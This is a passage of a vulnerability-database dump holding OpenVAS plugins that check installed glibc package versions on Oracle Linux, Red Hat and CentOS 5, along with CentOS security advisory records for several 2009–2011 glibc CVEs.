isrpmvuln(pkg:\"glibc-headers\", rpm:\"glibc-headers~2.5~65.el5_7.3\", rls:\"OracleLinux5\")) != NULL) {\n security_message(data:res);\n exit(0); \n }\n if ((res = isrpmvuln(pkg:\"glibc-utils\", rpm:\"glibc-utils~2.5~65.el5_7.3\", rls:\"OracleLinux5\")) != NULL) {\n security_message(data:res);\n exit(0); \n }\n if ((res = isrpmvuln(pkg:\"nscd\", rpm:\"nscd~2.5~65.el5_7.3\", rls:\"OracleLinux5\")) != NULL) {\n security_message(data:res);\n exit(0); \n }\n\n}\nif (__pkg_match) exit(99); #Not vulnerable\n exit(0);\n\n", "cvss": {"score": 6.9, "vector": "AV:LOCAL/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-01-03T10:57:03", "references": ["https://www.redhat.com/archives/rhsa-announce/2012-February/msg00027.html", "2012:0126-01"], "pluginID": "870556", "description": "Check for the Version of glibc", "edition": 3, "reporter": "Copyright (c) 2012 Greenbone Networks GmbH", "published": "2012-02-21T00:00:00", "enchantments": {"score": {"vector": "NONE", "value": 7.2}}, "title": "RedHat Update for glibc RHSA-2012:0126-01", "type": "openvas", "naslFamily": "Red Hat Local Security Checks", "bulletinFamily": "scanner", "cvelist": ["CVE-2011-4609", "CVE-2010-0830", "CVE-2009-5029", "CVE-2011-1089", "CVE-2009-5064"], "modified": "2018-01-03T00:00:00", "href": "http://plugins.openvas.org/nasl.php?oid=870556", "id": "OPENVAS:870556", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# RedHat Update for glibc RHSA-2012:0126-01\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (c) 2012 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\ninclude(\"revisions-lib.inc\");\ntag_insight = \"The glibc packages contain the standard C libraries used by multiple\n programs on the system. These packages contain the standard C and the\n standard math libraries. Without these two libraries, a Linux system cannot\n function properly.\n\n An integer overflow flaw, leading to a heap-based buffer overflow, was\n found in the way the glibc library read timezone files. If a\n carefully-crafted timezone file was loaded by an application linked against\n glibc, it could cause the application to crash or, potentially, execute\n arbitrary code with the privileges of the user running the application.\n (CVE-2009-5029)\n\n A flaw was found in the way the ldd utility identified dynamically linked\n libraries. If an attacker could trick a user into running ldd on a\n malicious binary, it could result in arbitrary code execution with the\n privileges of the user running ldd. (CVE-2009-5064)\n\n An integer overflow flaw, leading to a heap-based buffer overflow, was\n found in the way the glibc library loaded ELF (Executable and Linking\n Format) files. If a carefully-crafted ELF file was loaded by an\n application linked against glibc, it could cause the application to crash\n or, potentially, execute arbitrary code with the privileges of the user\n running the application. (CVE-2010-0830)\n\n It was found that the glibc addmntent() function, used by various mount\n helper utilities, did not handle certain errors correctly when updating the\n mtab (mounted file systems table) file. If such utilities had the setuid\n bit set, a local attacker could use this flaw to corrupt the mtab file.\n (CVE-2011-1089)\n\n A denial of service flaw was found in the remote procedure call (RPC)\n implementation in glibc. A remote attacker able to open a large number of\n connections to an RPC service that is using the RPC implementation from\n glibc, could use this flaw to make that service use an excessive amount of\n CPU time. (CVE-2011-4609)\n\n Red Hat would like to thank the Ubuntu Security Team for reporting\n CVE-2010-0830, and Dan Rosenberg for reporting CVE-2011-1089. The Ubuntu\n Security Team acknowledges Dan Rosenberg as the original reporter of\n CVE-2010-0830.\n\n Users should upgrade to these updated packages, which resolve these issues.\";\n\ntag_affected = \"glibc on Red Hat Enterprise Linux (v. 5 server)\";\ntag_solution = \"Please Install the Updated Packages.\";\n\n\n\nif(description)\n{\n script_xref(name : \"URL\" , value : \"https://www.redhat.com/archives/rhsa-announce/2012-February/msg00027.html\");\n script_id(870556);\n script_version(\"$Revision: 8273 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2018-01-03 07:29:19 +0100 (Wed, 03 Jan 2018) $\");\n script_tag(name:\"creation_date\", value:\"2012-02-21 18:56:49 +0530 (Tue, 21 Feb 2012)\");\n script_cve_id(\"CVE-2009-5029\", \"CVE-2009-5064\", \"CVE-2010-0830\", \"CVE-2011-1089\",\n \"CVE-2011-4609\");\n script_tag(name:\"cvss_base\", value:\"6.9\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:L/AC:M/Au:N/C:C/I:C/A:C\");\n script_xref(name: \"RHSA\", value: \"2012:0126-01\");\n script_name(\"RedHat Update for glibc RHSA-2012:0126-01\");\n\n script_tag(name: \"summary\" , value: \"Check for the Version of glibc\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (c) 2012 Greenbone Networks GmbH\");\n script_family(\"Red Hat Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/rhel\", \"ssh/login/rpms\");\n script_tag(name : \"affected\" , value : tag_affected);\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name : \"insight\" , value : tag_insight);\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n exit(0);\n}\n\n\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = get_kb_item(\"ssh/login/release\");\n\nres = \"\";\nif(release == NULL){\n exit(0);\n}\n\nif(release == \"RHENT_5\")\n{\n\n if ((res = isrpmvuln(pkg:\"glibc\", rpm:\"glibc~2.5~65.el5_7.3\", rls:\"RHENT_5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"glibc-common\", rpm:\"glibc-common~2.5~65.el5_7.3\", rls:\"RHENT_5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"glibc-debuginfo\", rpm:\"glibc-debuginfo~2.5~65.el5_7.3\", rls:\"RHENT_5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"glibc-debuginfo-common\", rpm:\"glibc-debuginfo-common~2.5~65.el5_7.3\", rls:\"RHENT_5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"glibc-devel\", rpm:\"glibc-devel~2.5~65.el5_7.3\", rls:\"RHENT_5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"glibc-headers\", rpm:\"glibc-headers~2.5~65.el5_7.3\", rls:\"RHENT_5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"glibc-utils\", rpm:\"glibc-utils~2.5~65.el5_7.3\", rls:\"RHENT_5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"nscd\", rpm:\"nscd~2.5~65.el5_7.3\", rls:\"RHENT_5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99); # Not vulnerable.\n exit(0);\n}\n", "cvss": {"score": 6.9, "vector": "AV:LOCAL/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-04-06T11:17:10", "references": ["http://lists.centos.org/pipermail/centos-announce/2012-February/018428.html", "2012:0126"], "pluginID": "1361412562310881084", "description": "Check for the Version of glibc", "edition": 1, "reporter": "Copyright (c) 2012 Greenbone Networks GmbH", "published": "2012-07-30T00:00:00", "title": "CentOS Update for glibc CESA-2012:0126 centos5 ", "type": "openvas", "enchantments": {"score": {"vector": "NONE", "value": 7.2}}, "naslFamily": "CentOS Local Security Checks", "bulletinFamily": "scanner", "cvelist": ["CVE-2011-4609", "CVE-2010-0830", "CVE-2009-5029", "CVE-2011-1089", "CVE-2009-5064"], "modified": "2018-04-06T00:00:00", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310881084", "id": "OPENVAS:1361412562310881084", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# CentOS Update for glibc CESA-2012:0126 centos5 \n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (c) 2012 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\ninclude(\"revisions-lib.inc\");\ntag_insight = \"The glibc packages contain the standard C libraries used by multiple\n programs on the system. These packages contain the standard C and the\n standard math libraries. Without these two libraries, a Linux system cannot\n function properly.\n\n An integer overflow flaw, leading to a heap-based buffer overflow, was\n found in the way the glibc library read timezone files. If a\n carefully-crafted timezone file was loaded by an application linked against\n glibc, it could cause the application to crash or, potentially, execute\n arbitrary code with the privileges of the user running the application.\n (CVE-2009-5029)\n \n A flaw was found in the way the ldd utility identified dynamically linked\n libraries. If an attacker could trick a user into running ldd on a\n malicious binary, it could result in arbitrary code execution with the\n privileges of the user running ldd. (CVE-2009-5064)\n \n An integer overflow flaw, leading to a heap-based buffer overflow, was\n found in the way the glibc library loaded ELF (Executable and Linking\n Format) files. If a carefully-crafted ELF file was loaded by an\n application linked against glibc, it could cause the application to crash\n or, potentially, execute arbitrary code with the privileges of the user\n running the application. (CVE-2010-0830)\n \n It was found that the glibc addmntent() function, used by various mount\n helper utilities, did not handle certain errors correctly when updating the\n mtab (mounted file systems table) file. If such utilities had the setuid\n bit set, a local attacker could use this flaw to corrupt the mtab file.\n (CVE-2011-1089)\n \n A denial of service flaw was found in the remote procedure call (RPC)\n implementation in glibc. A remote attacker able to open a large number of\n connections to an RPC service that is using the RPC implementation from\n glibc, could use this flaw to make that service use an excessive amount of\n CPU time. (CVE-2011-4609)\n \n Red Hat would like to thank the Ubuntu Security Team for reporting\n CVE-2010-0830, and Dan Rosenberg for reporting CVE-2011-1089. The Ubuntu\n Security Team acknowledges Dan Rosenberg as the original reporter of\n CVE-2010-0830.\n \n Users should upgrade to these updated packages, which resolve these issues.\";\n\ntag_affected = \"glibc on CentOS 5\";\ntag_solution = \"Please Install the Updated Packages.\";\n\n\n\nif(description)\n{\n script_xref(name : \"URL\" , value : \"http://lists.centos.org/pipermail/centos-announce/2012-February/018428.html\");\n script_oid(\"1.3.6.1.4.1.25623.1.0.881084\");\n script_version(\"$Revision: 9352 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2018-04-06 09:13:02 +0200 (Fri, 06 Apr 2018) $\");\n script_tag(name:\"creation_date\", value:\"2012-07-30 16:03:45 +0530 (Mon, 30 Jul 2012)\");\n script_cve_id(\"CVE-2009-5029\", \"CVE-2009-5064\", \"CVE-2010-0830\", \"CVE-2011-1089\",\n \"CVE-2011-4609\");\n script_tag(name:\"cvss_base\", value:\"6.9\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:L/AC:M/Au:N/C:C/I:C/A:C\");\n script_xref(name: \"CESA\", value: \"2012:0126\");\n script_name(\"CentOS Update for glibc CESA-2012:0126 centos5 \");\n\n script_tag(name: \"summary\" , value: \"Check for the Version of glibc\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (c) 2012 Greenbone Networks GmbH\");\n script_family(\"CentOS Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/centos\", \"ssh/login/rpms\");\n script_tag(name : \"affected\" , value : tag_affected);\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name : \"insight\" , value : tag_insight);\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n exit(0);\n}\n\n\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = get_kb_item(\"ssh/login/release\");\n\nres = \"\";\nif(release == NULL){\n exit(0);\n}\n\nif(release == \"CentOS5\")\n{\n\n if ((res = isrpmvuln(pkg:\"glibc\", rpm:\"glibc~2.5~65.el5_7.3\", rls:\"CentOS5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"glibc-common\", rpm:\"glibc-common~2.5~65.el5_7.3\", rls:\"CentOS5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"glibc-devel\", rpm:\"glibc-devel~2.5~65.el5_7.3\", rls:\"CentOS5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"glibc-headers\", rpm:\"glibc-headers~2.5~65.el5_7.3\", rls:\"CentOS5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"glibc-utils\", rpm:\"glibc-utils~2.5~65.el5_7.3\", rls:\"CentOS5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"nscd\", rpm:\"nscd~2.5~65.el5_7.3\", rls:\"CentOS5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99); # Not vulnerable.\n exit(0);\n}\n", "cvss": {"score": 6.9, "vector": "AV:LOCAL/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-01-06T13:06:39", "references": ["http://lists.centos.org/pipermail/centos-announce/2012-February/018428.html", "2012:0126"], "pluginID": "881084", "description": "Check for the Version of glibc", "edition": 3, "reporter": "Copyright (c) 2012 Greenbone Networks GmbH", "published": "2012-07-30T00:00:00", "enchantments": {"score": {"vector": "NONE", "value": 7.2}}, "title": "CentOS Update for glibc CESA-2012:0126 centos5 ", "type": "openvas", "naslFamily": "CentOS Local Security Checks", "bulletinFamily": "scanner", "cvelist": ["CVE-2011-4609", "CVE-2010-0830", "CVE-2009-5029", "CVE-2011-1089", "CVE-2009-5064"], "modified": "2018-01-05T00:00:00", "href": "http://plugins.openvas.org/nasl.php?oid=881084", "id": "OPENVAS:881084", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# CentOS Update for glibc CESA-2012:0126 centos5 \n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (c) 2012 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\ninclude(\"revisions-lib.inc\");\ntag_insight = \"The glibc packages contain the standard C libraries used by multiple\n programs on the system. These packages contain the standard C and the\n standard math libraries. Without these two libraries, a Linux system cannot\n function properly.\n\n An integer overflow flaw, leading to a heap-based buffer overflow, was\n found in the way the glibc library read timezone files. If a\n carefully-crafted timezone file was loaded by an application linked against\n glibc, it could cause the application to crash or, potentially, execute\n arbitrary code with the privileges of the user running the application.\n (CVE-2009-5029)\n \n A flaw was found in the way the ldd utility identified dynamically linked\n libraries. If an attacker could trick a user into running ldd on a\n malicious binary, it could result in arbitrary code execution with the\n privileges of the user running ldd. (CVE-2009-5064)\n \n An integer overflow flaw, leading to a heap-based buffer overflow, was\n found in the way the glibc library loaded ELF (Executable and Linking\n Format) files. If a carefully-crafted ELF file was loaded by an\n application linked against glibc, it could cause the application to crash\n or, potentially, execute arbitrary code with the privileges of the user\n running the application. (CVE-2010-0830)\n \n It was found that the glibc addmntent() function, used by various mount\n helper utilities, did not handle certain errors correctly when updating the\n mtab (mounted file systems table) file. If such utilities had the setuid\n bit set, a local attacker could use this flaw to corrupt the mtab file.\n (CVE-2011-1089)\n \n A denial of service flaw was found in the remote procedure call (RPC)\n implementation in glibc. A remote attacker able to open a large number of\n connections to an RPC service that is using the RPC implementation from\n glibc, could use this flaw to make that service use an excessive amount of\n CPU time. (CVE-2011-4609)\n \n Red Hat would like to thank the Ubuntu Security Team for reporting\n CVE-2010-0830, and Dan Rosenberg for reporting CVE-2011-1089. The Ubuntu\n Security Team acknowledges Dan Rosenberg as the original reporter of\n CVE-2010-0830.\n \n Users should upgrade to these updated packages, which resolve these issues.\";\n\ntag_affected = \"glibc on CentOS 5\";\ntag_solution = \"Please Install the Updated Packages.\";\n\n\n\nif(description)\n{\n script_xref(name : \"URL\" , value : \"http://lists.centos.org/pipermail/centos-announce/2012-February/018428.html\");\n script_id(881084);\n script_version(\"$Revision: 8295 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2018-01-05 07:29:18 +0100 (Fri, 05 Jan 2018) $\");\n script_tag(name:\"creation_date\", value:\"2012-07-30 16:03:45 +0530 (Mon, 30 Jul 2012)\");\n script_cve_id(\"CVE-2009-5029\", \"CVE-2009-5064\", \"CVE-2010-0830\", \"CVE-2011-1089\",\n \"CVE-2011-4609\");\n script_tag(name:\"cvss_base\", value:\"6.9\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:L/AC:M/Au:N/C:C/I:C/A:C\");\n script_xref(name: \"CESA\", value: \"2012:0126\");\n script_name(\"CentOS Update for glibc CESA-2012:0126 centos5 \");\n\n script_tag(name: \"summary\" , value: \"Check for the Version of glibc\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (c) 2012 Greenbone Networks GmbH\");\n script_family(\"CentOS Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/centos\", \"ssh/login/rpms\");\n script_tag(name : \"affected\" , value : tag_affected);\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name : \"insight\" , value : tag_insight);\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n exit(0);\n}\n\n\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = get_kb_item(\"ssh/login/release\");\n\nres = \"\";\nif(release == NULL){\n exit(0);\n}\n\nif(release == \"CentOS5\")\n{\n\n if ((res = isrpmvuln(pkg:\"glibc\", rpm:\"glibc~2.5~65.el5_7.3\", rls:\"CentOS5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"glibc-common\", rpm:\"glibc-common~2.5~65.el5_7.3\", rls:\"CentOS5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"glibc-devel\", rpm:\"glibc-devel~2.5~65.el5_7.3\", rls:\"CentOS5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"glibc-headers\", rpm:\"glibc-headers~2.5~65.el5_7.3\", rls:\"CentOS5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"glibc-utils\", rpm:\"glibc-utils~2.5~65.el5_7.3\", rls:\"CentOS5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"nscd\", rpm:\"nscd~2.5~65.el5_7.3\", rls:\"CentOS5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99); # Not vulnerable.\n exit(0);\n}\n", "cvss": {"score": 6.9, "vector": "AV:LOCAL/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "centos": [{"lastseen": "2017-10-03T18:25:31", "references": ["https://rhn.redhat.com/errata/RHSA-2012-0058.html"], "affectedPackage": [{"OS": "CentOS", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "packageFilename": "glibc-headers-2.12-1.47.el6_2.5.i686.rpm", "packageName": "glibc-headers", "arch": "i686", "operator": "lt"}, {"OS": "CentOS", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "packageFilename": "glibc-2.12-1.47.el6_2.5.i686.rpm", "packageName": "glibc", "arch": "i686", "operator": "lt"}, {"OS": "CentOS", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "packageFilename": "glibc-2.12-1.47.el6_2.5.i686.rpm", "packageName": "glibc", "arch": "i686", "operator": "lt"}, {"OS": "CentOS", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "packageFilename": "glibc-static-2.12-1.47.el6_2.5.i686.rpm", "packageName": "glibc-static", "arch": "i686", "operator": "lt"}, {"OS": "CentOS", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "packageFilename": "glibc-static-2.12-1.47.el6_2.5.i686.rpm", "packageName": "glibc-static", "arch": "i686", "operator": "lt"}, {"OS": "CentOS", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "packageFilename": "glibc-utils-2.12-1.47.el6_2.5.i686.rpm", "packageName": "glibc-utils", "arch": "i686", "operator": "lt"}, {"OS": "CentOS", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "packageFilename": "glibc-2.12-1.47.el6_2.5.src.rpm", "packageName": "glibc", "arch": "any", "operator": "lt"}, {"OS": "CentOS", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "packageFilename": "glibc-headers-2.12-1.47.el6_2.5.x86_64.rpm", "packageName": "glibc-headers", "arch": "x86_64", "operator": "lt"}, {"OS": "CentOS", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "packageFilename": "nscd-2.12-1.47.el6_2.5.i686.rpm", "packageName": "nscd", "arch": "i686", "operator": "lt"}, {"OS": "CentOS", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "packageFilename": "glibc-static-2.12-1.47.el6_2.5.x86_64.rpm", "packageName": "glibc-static", "arch": "x86_64", "operator": "lt"}, {"OS": "CentOS", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "packageFilename": "glibc-common-2.12-1.47.el6_2.5.i686.rpm", "packageName": "glibc-common", "arch": "i686", "operator": "lt"}, {"OS": "CentOS", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "packageFilename": "glibc-common-2.12-1.47.el6_2.5.x86_64.rpm", "packageName": "glibc-common", "arch": "x86_64", "operator": "lt"}, {"OS": "CentOS", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "packageFilename": "glibc-utils-2.12-1.47.el6_2.5.x86_64.rpm", "packageName": "glibc-utils", "arch": "x86_64", "operator": "lt"}, {"OS": "CentOS", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "packageFilename": "glibc-devel-2.12-1.47.el6_2.5.x86_64.rpm", "packageName": "glibc-devel", "arch": "x86_64", "operator": "lt"}, {"OS": "CentOS", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "packageFilename": "glibc-2.12-1.47.el6_2.5.x86_64.rpm", "packageName": "glibc", "arch": "x86_64", "operator": "lt"}, {"OS": "CentOS", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "packageFilename": "glibc-devel-2.12-1.47.el6_2.5.i686.rpm", "packageName": "glibc-devel", "arch": "i686", "operator": "lt"}, {"OS": "CentOS", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "packageFilename": "glibc-devel-2.12-1.47.el6_2.5.i686.rpm", "packageName": "glibc-devel", "arch": "i686", "operator": "lt"}, {"OS": "CentOS", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "packageFilename": "nscd-2.12-1.47.el6_2.5.x86_64.rpm", "packageName": "nscd", "arch": "x86_64", "operator": "lt"}], "description": "**CentOS Errata and Security Advisory** CESA-2012:0058\n\n\nThe glibc packages contain the standard C libraries used by multiple\nprograms on the system. These packages contain the standard C and the\nstandard math libraries. Without these two libraries, a Linux system cannot\nfunction properly.\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was\nfound in the way the glibc library read timezone files. If a\ncarefully-crafted timezone file was loaded by an application linked against\nglibc, it could cause the application to crash or, potentially, execute\narbitrary code with the privileges of the user running the application.\n(CVE-2009-5029)\n\nA denial of service flaw was found in the remote procedure call (RPC)\nimplementation in glibc. A remote attacker able to open a large number of\nconnections to an RPC service that is using the RPC implementation from\nglibc, could use this flaw to make that service use an excessive amount of\nCPU time. (CVE-2011-4609)\n\nThis update also fixes the following bugs:\n\n* glibc had incorrect information for numeric separators and groupings for\nspecific French, Spanish, and German locales. Therefore, applications\nutilizing glibc's locale support printed numbers with the wrong separators\nand groupings when those locales were in use. With this update, the\nseparator and grouping information has been fixed. (BZ#754116)\n\n* The RHBA-2011:1179 glibc update introduced a regression, causing glibc to\nincorrectly parse groups with more than 126 members, resulting in\napplications such as \"id\" failing to list all the groups a particular user\nwas a member of. With this update, group parsing has been fixed.\n(BZ#766484)\n\n* glibc incorrectly allocated too much memory due to a race condition\nwithin its own malloc routines. This could cause a multi-threaded\napplication to allocate more memory than was expected. With this update,\nthe race condition has been fixed, and malloc's behavior is now consistent\nwith the documentation regarding the MALLOC_ARENA_TEST and MALLOC_ARENA_MAX\nenvironment variables. (BZ#769594)\n\nUsers should upgrade to these updated packages, which contain backported\npatches to resolve these issues.\n\n\n**Merged security bulletin from advisories:**\nhttp://lists.centos.org/pipermail/centos-announce/2012-January/018397.html\n\n**Affected packages:**\nglibc\nglibc-common\nglibc-devel\nglibc-headers\nglibc-static\nglibc-utils\nnscd\n\n**Upstream details at:**\nhttps://rhn.redhat.com/errata/RHSA-2012-0058.html", "edition": 1, "reporter": "CentOS Project", "published": "2012-01-30T15:26:30", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "title": "glibc, nscd security update", "type": "centos", "bulletinFamily": "unix", "cvelist": ["CVE-2011-4609", "CVE-2009-5029"], "modified": "2012-01-30T15:26:30", "href": "http://lists.centos.org/pipermail/centos-announce/2012-January/018397.html", "id": "CESA-2012:0058", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-10-03T18:26:11", "references": ["https://rhn.redhat.com/errata/RHSA-2012-0126.html"], "affectedPackage": [{"OS": "CentOS", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageFilename": "glibc-headers-2.5-65.el5_7.3.x86_64.rpm", "packageName": "glibc-headers", "arch": "x86_64", "operator": "lt"}, {"OS": "CentOS", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageFilename": "glibc-2.5-65.el5_7.3.i686.rpm", "packageName": "glibc", "arch": "i686", "operator": "lt"}, {"OS": "CentOS", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageFilename": "glibc-2.5-65.el5_7.3.i686.rpm", "packageName": "glibc", "arch": "i686", "operator": "lt"}, {"OS": "CentOS", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageFilename": "glibc-utils-2.5-65.el5_7.3.i386.rpm", "packageName": "glibc-utils", "arch": "i386", "operator": "lt"}, {"OS": "CentOS", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageFilename": "glibc-common-2.5-65.el5_7.3.x86_64.rpm", "packageName": "glibc-common", "arch": "x86_64", "operator": "lt"}, {"OS": "CentOS", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageFilename": "glibc-devel-2.5-65.el5_7.3.i386.rpm", "packageName": "glibc-devel", "arch": "i386", "operator": "lt"}, {"OS": "CentOS", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageFilename": "glibc-devel-2.5-65.el5_7.3.i386.rpm", "packageName": "glibc-devel", "arch": "i386", "operator": "lt"}, {"OS": "CentOS", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageFilename": "glibc-utils-2.5-65.el5_7.3.x86_64.rpm", "packageName": "glibc-utils", "arch": "x86_64", "operator": "lt"}, {"OS": "CentOS", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageFilename": "glibc-2.5-65.el5_7.3.i386.rpm", "packageName": "glibc", "arch": "i386", "operator": "lt"}, {"OS": "CentOS", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageFilename": "nscd-2.5-65.el5_7.3.i386.rpm", "packageName": "nscd", "arch": "i386", "operator": "lt"}, {"OS": "CentOS", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageFilename": "nscd-2.5-65.el5_7.3.x86_64.rpm", "packageName": "nscd", "arch": "x86_64", "operator": "lt"}, {"OS": "CentOS", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageFilename": "glibc-2.5-65.el5_7.3.x86_64.rpm", "packageName": "glibc", "arch": "x86_64", "operator": "lt"}, {"OS": "CentOS", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageFilename": "glibc-devel-2.5-65.el5_7.3.x86_64.rpm", "packageName": "glibc-devel", "arch": "x86_64", "operator": "lt"}, {"OS": "CentOS", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageFilename": 